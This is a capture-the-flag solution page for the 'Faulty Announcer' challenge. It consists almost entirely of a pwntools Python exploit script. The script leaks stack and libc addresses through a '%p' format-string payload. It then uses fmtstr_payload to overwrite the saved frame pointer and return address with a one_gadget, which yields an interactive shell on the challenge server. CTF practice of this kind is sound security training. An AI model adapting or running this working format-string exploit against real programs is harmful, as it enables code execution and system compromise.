Faulty Announcer

#format-string

Contents

Solution

#!/usr/bin/env python3

from pwn import *
import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b *0x401345
"""

def conn():
    if args.REMOTE:
        r = remote("chall.v1t.site", 30213)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r



def main():
    r = conn()

    r.recvuntil(b'What is your name?\n')
    r.sendline("Tree")

    payload = b'%p|' * 40

    r.recvuntil(b'Speak loud what do you want\n')
    r.sendline(payload)

    leak = r.recvuntil(b"I SAID SPEAK LOUD!\n", drop=True).decode("ascii")
    leak = leak.split("|")

    for i in range(len(leak)-1):
        print(f"{i+1}: {leak[i]}")

    # pointing at rbp
    stack = int(leak[25],16) - 0xa0
    libc.address = int(leak[26],16) - (libc.sym["__libc_start_call_main"] + 122)

    one = libc.address + 0xef52b 
    rbp = 0x404100

    write = {
            stack     : rbp,
            stack + 8 : one,
            }

    payload = fmtstr_payload(8,write,write_size="short")
    r.sendline(payload)
    r.clean()
    r.interactive()


if __name__ == "__main__":
    main()